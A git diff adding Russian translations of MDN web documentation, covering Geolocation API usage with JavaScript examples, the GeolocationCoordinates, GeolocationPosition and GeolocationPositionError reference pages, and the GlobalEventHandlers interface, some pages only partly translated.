+<h3 id="Точная_настройка_отклика"><span class="short_text" id="result_box" lang="ru"><span>Точная</span> <span>настройка</span> <span>отклика</span></span></h3>
+
+<p>{{domxref("Geolocation.getCurrentPosition()","getCurrentPosition()")}} и {{domxref("Geolocation.watchPosition()","watchPosition()")}} принимают callback-функцию при успехе, необязательную callback-функцию при ошибке и необязательный объект <code><a href="/ru/docs/Web/API/PositionOptions">PositionOptions</a></code>.</p>
+
+<p>Этот объект позволяет вам включить возможность определения позиции с высокой точностью, указать максимальное время кэширования значения позиции (при повторных запросах, пока время не вышло, вам будет возвращается кэшированное значение; после браузер будет запрашивать актуальные данные), а также указать значение, устанавливающее интервал — как часто браузер должен пытаться получить данные о местоположении, прежде чем выйдет время.</p>
+
+<p>Вызов {{domxref("Geolocation.watchPosition()","watchPosition")}} может выглядит следующим образом:</p>
+
+<pre class="brush: js">function geo_success(position) {
+  do_something(position.coords.latitude, position.coords.longitude);
+}
+
+function geo_error() {
+  alert("Извините, нет доступной позиции.");
+}
+
+var geo_options = {
+  enableHighAccuracy: true,
+  maximumAge        : 30000,
+  timeout           : 27000
+};
+
+var wpid = navigator.geolocation.watchPosition(geo_success, geo_error, geo_options);</pre>
+
+<h2 id="Описание_позиции">Описание позиции</h2>
+
+<p>Местоположение пользователя содержится в экземпляре объекта {{domxref("GeolocationPosition")}}, содержащего внутри экземпляр другого объекта — {{domxref("GeolocationCoordinates")}}.</p>
+
+<p>Экземпляр <code>GeolocationPosition</code> содержит только две вещи, свойство <code>coords</code>, внутри которого <code>GeolocationCoordinates</code> и свойство timestamp, внутри которого экземпляр {{domxref("DOMTimeStamp")}}, предоставляющее метку времени, созданную при получении данные.</p>
+
+<p>Экземпляр <code>GeolocationCoordinates</code> содержит некоторое количество свойств, двое из которых вы будете чаще всего использовать: <code>latitude</code> и <code>longitude</code>, которые помогут вам отобразить полученную позицию на карте. Поэтому многие callback-функции с успешным получением позиции выглядят очень просто:</p>
+
+<pre class="brush: js">function success(position) {
+  const latitude  = position.coords.latitude;
+  const longitude = position.coords.longitude;
+
+  // Дальше код, который что-то делает с широтой(latitude) и долготой(longitude)
+}</pre>
+
+<p>Однако, вы также можете получить и другую информацию из объекта <code>GeolocationCoordinates</code>, такую как высота над уровнем моря, скорость, направление устройства и точные данные о высоте, долготе и широте.</p>
+
+<h2 id="Обработка_ошибок">Обработка ошибок</h2>
+
+<p>Callback-функция для ошибок, если она была передана в <code>getCurrentPosition()</code> или <code>watchPosition()</code>, ожидает экземпляр объекта <code><a href="/en-US/docs/Web/API/GeolocationPositionError">GeolocationPositionError</a></code> в качестве первого аргумента. Он будет содержать два свойства, <code>code</code>, который укажет на то, какая именно ошибка произошла и понятное для человека <code>message</code>, описывающее значение поля code.</p>
+
+<p>Функция может выглядеть примерно так:</p>
+
+<pre class="brush: js">function errorCallback(error) {
+  alert('ERROR(' + error.code + '): ' + error.message);
+};
+</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Следующий пример использует Geolocation API для того, чтобы получить широту и долготу пользователя. При успешном выполнении, ссылка будет вести на <code>openstreetmap.org</code>, который отобразит пользовательскую позицию на карте.</p>
+
+<div class="hidden">
+<pre class="brush: css">body {
+  padding: 20px;
+  background-color:#ffffc9
+}
+
+button {
+  margin: .5rem 0;
+}
+</pre>
+</div>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html;">&lt;button id = "find-me"&gt;Show my location&lt;/button&gt;&lt;br/&gt;
+&lt;p id = "status"&gt;&lt;/p&gt;
+&lt;a id = "map-link" target="_blank"&gt;&lt;/a&gt;
+</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">function geoFindMe() {
+
+  const status = document.querySelector('#status');
+  const mapLink = document.querySelector('#map-link');
+
+  mapLink.href = '';
+  mapLink.textContent = '';
+
+  function success(position) {
+    const latitude  = position.coords.latitude;
+    const longitude = position.coords.longitude;
+
+    status.textContent = '';
+    mapLink.href = `https://www.openstreetmap.org/#map=18/${latitude}/${longitude}`;
+    mapLink.textContent = `Широта: ${latitude} °, Долгота: ${longitude} °`;
+  }
+
+  function error() {
+    status.textContent = 'Невозможно получить ваше местоположение';
+  }
+
+  if (!navigator.geolocation) {
+    status.textContent = 'Geolocation не поддерживается вашим браузером';
+  } else {
+    status.textContent = 'Определение местоположения…';
+    navigator.geolocation.getCurrentPosition(success, error);
+  }
+
+}
+
+document.querySelector('#find-me').addEventListener('click', geoFindMe);
+</pre>
+
+<h3 id="Демо">Демо</h3>
+
+<p>{{EmbedLiveSample('Examples', 350, 150, "", "", "", "geolocation")}}</p>
diff --git a/files/ru/web/api/geolocationcoordinates/index.html b/files/ru/web/api/geolocationcoordinates/index.html
new file mode 100644
index 0000000000..14f936d09c
--- /dev/null
+++ b/files/ru/web/api/geolocationcoordinates/index.html
@@ -0,0 +1,65 @@
+---
+title: Coordinates
+slug: Web/API/GeolocationCoordinates
+translation_of: Web/API/GeolocationCoordinates
+---
+<div>{{securecontext_header}}{{APIRef("Geolocation API")}}</div>
+
+<p>Интерфейс <strong><code>Coordinates</code></strong> отображает позицию устройства и его высоту над уровнем моря с рассчётным уровнем точности.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Интерфейс <code>Coordinates</code> не наследует никаких свойств</em>.</p>
+
+<dl>
+ <dt>{{domxref("Coordinates.latitude")}} {{readonlyInline}} {{securecontext_inline}}</dt>
+ <dd>Возвращает <code>дробное</code> число, означающее широту, выраженную в градусах.</dd>
+ <dt>{{domxref("Coordinates.longitude")}} {{readonlyInline}} {{securecontext_inline}}</dt>
+ <dd>Возвращает <code>дробное</code> число, означающее долготу, выраженную в градусах.</dd>
+ <dt>{{domxref("Coordinates.altitude")}} {{readonlyInline}} {{securecontext_inline}}</dt>
+ <dd>Возвращает <code>дробное</code> число, означающее высоту над уровнем моря, выраженную в метрах. Возвращает <code>null</code>, если устройство не может предоставить эти данные.</dd>
+ <dt>{{domxref("Coordinates.accuracy")}} {{readonlyInline}} {{securecontext_inline}}</dt>
+ <dd>Возвращает <code>дробное</code> число, означающее точность свойств <code>latitude</code> и <code>longitude</code>, выраженную в метрах.</dd>
+ <dt>{{domxref("Coordinates.altitudeAccuracy")}} {{readonlyInline}} {{securecontext_inline}}</dt>
+ <dd>Возвращает <code>дробное</code> число, означающее точность свойства <code>altitude</code>, выраженную в метрах. Может быть <code>null</code>.</dd>
+ <dt>{{domxref("Coordinates.heading")}} {{readonlyInline}} {{securecontext_inline}}</dt>
+ <dd>Возвращает <code>дробное</code> число, означающее в каком направлении движется устройство. Это значение, выраженное в градусах, показывает насколько отклонено устройство относительно севера. <code>0</code> градусов показывает ровно на север и далее направление опредеряется по часовой стрелке (то есть, <code>90</code> градусов означает восток, а <code>270</code> градусов означает запад). Если <code>speed</code> равно <code>0</code>, то <code>heading</code> будет <code><a href="/ru/docs/JavaScript/Reference/Global_Objects/NaN">NaN</a></code>. Если устройство не может предоставить <code>heading</code>, то его значение будет <code>null</code>.</dd>
+ <dt>{{domxref("Coordinates.speed")}} {{readonlyInline}} {{securecontext_inline}}</dt>
+ <dd>Возвращает <code>дробное</code> число, означающее скорость движения устройства, выраженное в метрах в секунду. Это значение может быть <code>null</code>.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em><em>Интерфейс <code>Coordinates</code> не наследует никаких методов<em>.</em></em></em></p>
+
+<h2 id="Спецификаци">Спецификаци</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Geolocation', '#coordinates', 'Coordinates')}}</td>
+   <td>{{Spec2('Geolocation')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.Coordinates")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebAPI/Using_geolocation" title="/en-US/docs/WebAPI/Using_geolocation">Using geolocation</a></li>
+ <li>The {{domxref("Geolocation")}} interface that uses it.</li>
+</ul>
diff --git a/files/ru/web/api/geolocationposition/index.html b/files/ru/web/api/geolocationposition/index.html
new file mode 100644
index 0000000000..c9e0071212
--- /dev/null
+++ b/files/ru/web/api/geolocationposition/index.html
@@ -0,0 +1,58 @@
+---
+title: GeolocationPosition
+slug: Web/API/GeolocationPosition
+tags:
+  - локация
+  - местонахождение
+translation_of: Web/API/GeolocationPosition
+---
+<div>{{securecontext_header}}{{APIRef("Geolocation API")}}</div>
+
+<p>Интрефейс <strong><code>GeolocationPosition</code></strong> представляет положение соответствующего устройства в данный момент времени. Положение, представленное объектом {{domxref("GeolocationCoordinates")}},  отражает двумерное положение устройства на сфероиде, представляющем землю, а также его высоту и скорость..</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Интерфейс <code>GeolocationPosition</code> не наследует свойства</em>.</p>
+
+<dl>
+ <dt>{{domxref("GeolocationPosition.coords")}} {{readonlyInline}} {{securecontext_inline}}</dt>
+ <dd>Возвращает объект {{domxref("GeolocationCoordinates")}} определяющий текущую локацию.</dd>
+ <dt>{{domxref("GeolocationPosition.timestamp")}} {{readonlyInline}} {{securecontext_inline}}</dt>
+ <dd>Возвращает {{domxref("DOMTimeStamp")}}, представляющий время, в которое была получена локация.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em><em>Интрефейс </em><code>GeolocationPosition</code><em> </em></em>не имеет и не наследует методы.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Geolocation', '#position_interface', 'GeolocationPosition')}}</td>
+   <td>{{Spec2('Geolocation')}}</td>
+   <td>Первое определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_совместимость">Браузерная совместимость</h2>
+
+
+
+<p>{{Compat("api.GeolocationPosition")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Geolocation_API/Using">Using the Geolocation API</a></li>
+ <li>{{domxref("Geolocation")}}</li>
+</ul>
diff --git a/files/ru/web/api/geolocationpositionerror/index.html b/files/ru/web/api/geolocationpositionerror/index.html
new file mode 100644
index 0000000000..55b2df9bf1
--- /dev/null
+++ b/files/ru/web/api/geolocationpositionerror/index.html
@@ -0,0 +1,80 @@
+---
+title: PositionError
+slug: Web/API/GeolocationPositionError
+translation_of: Web/API/GeolocationPositionError
+---
+<div>{{securecontext_header}}{{APIRef("Geolocation API")}}</div>
+
+<p>Интерфейс <strong>PositionError</strong> представляет причину ошибки, возникающую при использовании устройства геолокации.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Интерфейс <strong>PositionError</strong> не наследует никаких свойств.</em></p>
+
+<dl>
+ <dt>{{domxref("PositionError.code")}} {{readonlyInline}} {{securecontext_inline}}</dt>
+ <dd>Возвращает <em>unsigned short,</em> представляющий код ошибки. Возможны следующие значения:
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <th scope="col">Значение</th>
+    <th scope="col">Связанная константа</th>
+    <th scope="col">Описание</th>
+   </tr>
+   <tr>
+    <td><code>1</code></td>
+    <td><code>PERMISSION_DENIED</code></td>
+    <td>Не удалось получить информацию о геолокации, поскольку у страницы не было разрешения на это.</td>
+   </tr>
+   <tr>
+    <td><code>2</code></td>
+    <td><code>POSITION_UNAVAILABLE</code></td>
+    <td>Не удалось получить геолокацию, поскольку по крайней мере один внутренний источник позиции вернул внутреннюю ошибку.</td>
+   </tr>
+   <tr>
+    <td><code>3</code></td>
+    <td><code>TIMEOUT</code></td>
+    <td>Время, разрешенное для получения геолокации, определяется {{domxref ("PositionOptions.timeout")}} информация была достигнута до получения информации.</td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+ <dt>{{domxref("PositionError.message")}} {{readonlyInline}} {{securecontext_inline}}</dt>
+ <dd>Returns a human-readable {{domxref("DOMString")}} describing the details of the error. Specifications note that this is primarily intended for debugging use and not to be shown directly in a user interface.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em><em>The <code>PositionError</code> interface <em>neither implements nor inherits any method.</em></em></em></p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Geolocation', '#position_error_interface', 'PositionError')}}</td>
+   <td>{{Spec2('Geolocation')}}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.PositionError")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebAPI/Using_geolocation">Using geolocation</a></li>
+ <li>The {{domxref("Geolocation")}} interface that use it.</li>
+</ul>
diff --git a/files/ru/web/api/globaleventhandlers/index.html b/files/ru/web/api/globaleventhandlers/index.html
new file mode 100644
index 0000000000..33ecd33dcf
--- /dev/null
+++ b/files/ru/web/api/globaleventhandlers/index.html
@@ -0,0 +1,213 @@
+---
+title: GlobalEventHandlers
+slug: Web/API/GlobalEventHandlers
+tags:
+  - API
+  - DOM
+  - HTML DOM
+translation_of: Web/API/GlobalEventHandlers
+---
+<div>
+<div>{{ ApiRef("HTML DOM") }}</div>
+</div>
+
+<p>The <strong><code>GlobalEventHandlers</code></strong> interface describes the event handlers common to several interfaces like {{domxref("HTMLElement")}}, {{domxref("Document")}}, {{domxref("Window")}}, or {{domxref("WorkerGlobalScope")}} for Web Workers. Each of these interfaces can implement more event handlers.</p>
+
+<p><code>GlobalEventHandlers</code> is a raw interface and no object of this type can be created.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p>The events properties, of the form <code>onXYZ</code>, are defined on the {{domxref("GlobalEventHandlers")}}, and implemented by {{domxref("HTMLElement")}}, {{domxref("Document")}}, {{domxref("Window")}}, and {{domxref("WorkerGlobalScope")}} for Web Workers.</p>
+
+<dl>
+ <dt>{{domxref("GlobalEventHandlers.onabort")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("abort")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onblur")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("blur")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onerror")}}</dt>
+ <dd>Is an {{domxref("OnErrorEventHandler")}} representing the code to be called when the {{event("error")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onfocus")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("focus")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.oncancel")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("cancel")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.oncanplay")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("canplay")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.oncanplaythrough")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("canplaythrough")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onchange")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("change")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onclick")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("click")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onclose")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("close")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.oncontextmenu")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("contextmenu")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.oncuechange")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("cuechange")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondblclick")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("dblclick")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondrag")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("drag")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondragend")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("dragend")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondragenter")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("dragenter")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondragexit")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("dragexit")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondragleave")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("dragleave")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondragover")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("dragover")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondragstart")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("dragstart")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondrop")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("drop")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondurationchange")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("durationchange")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onemptied")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("emptied")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onended")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("ended")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.oninput")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("input")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.oninvalid")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("invalid")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onkeydown")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("keydown")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onkeypress")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("keypress")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onkeyup")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("keyup")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onload")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("load")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onloadeddata")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("loadeddata")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onloadedmetadata")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("loadedmetadata")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onloadstart")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("loadstart")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmousedown")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("mousedown")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmouseenter")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("mouseenter")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmouseleave")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("mouseleave")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmousemove")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("mousemove")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmouseout")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("mouseout")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmouseover")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("mouseover")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmouseup")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("mouseup")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmousewheel")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("mousewheel")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandler.onmozfullscreenchange")}} {{non-standard_inline}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("fullscreenchange")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandler.onmozfullscreenerror")}} {{non-standard_inline}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("fullscreenerror")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpause")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pause")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onplay")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("play")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onplaying")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("playing")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpointerdown")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pointerdown")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpointermove")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pointermove")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpointerup")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pointerup")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpointercancel")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pointercancel")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpointerover")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pointerover")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpointerout")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pointerout")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpointerenter")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pointerevent")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpointerleave")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pointerleave")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpointerlockchange")}} {{experimental_inline}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pointerlockchange")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpointerlockerror")}} {{experimental_inline}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pointerlockerror")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onprogress")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("progress")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onratechange")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("ratechange")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onreset")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("reset")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onscroll")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("scroll")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onseeked")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("seeked")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onseeking")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("seeking")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onselect")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("select")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onshow")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("show")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onsort")}} {{experimental_inline}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("sort")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onstalled")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("stalled")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onsubmit")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("submit")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onsuspend")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("suspend")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ontimeupdate")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("timeupdate")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onvolumechange")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("volumechange")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onwaiting")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("waiting")}} event is raised.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>This interface defines no method.</em></p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Pointer Lock', '#extensions-to-the-document-interface', 'Extension of Document')}}</td>
+   <td>{{Spec2('Pointer Lock')}}</td>
+   <td>Adds <code>onpointerlockchange</code> and <code>onpointerlockerror</code> on {{domxref("Document")}}. It is experimentally implemented on <code>GlobalEventHandlers</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#globaleventhandlers', 'GlobalEventHandlers')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change since the latest snapshot, {{SpecName("HTML5.1")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', '#globaleventhandlers', 'GlobalEventHandlers')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Snapshot of {{SpecName("HTML WHATWG")}}. Added <code>onsort</code> since the {{SpecName("HTML 5")}} snapshot.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "#globaleventhandlers", "GlobalEventHandlers")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Snapshot of {{SpecName("HTML WHATWG")}}. Creation of <code>GlobalEventHandlers</code> (properties where on the target before it).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.GlobalEventHandlers")}}</p>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>{{domxref("Element")}}</li>
+</ul>
diff --git a/files/ru/web/api/globaleventhandlers/onabort/index.html b/files/ru/web/api/globaleventhandlers/onabort/index.html
new file mode 100644
index 0000000000..dbe49a0079
--- /dev/null
+++ b/files/ru/web/api/globaleventhandlers/onabort/index.html
@@ -0,0 +1,100 @@
+---
+title: GlobalEventHandlers.onabort
+slug: Web/API/GlobalEventHandlers/onabort
+translation_of: Web/API/GlobalEventHandlers/onabort
+---
+<div>{{ ApiRef("HTML DOM") }}</div>
+
+<h2 id="Summary" name="Summary">Summary</h2>
+
+<p>Обработчик событий, позволяющий прерывать события объекта <strong>window</strong>. (Недоступен для<strong> Firefox 2</strong> и <strong>Safari</strong>).</p>
+
+<p>TODO define what "abort" is. Closing the window via window manager? Stopping the load of the page? By which means and reasons (user, network/server)? At which stages would it fire / be catched? Для IE, событие <strong>onabort</strong> доступно только для тега <code>img</code>.</p>
+
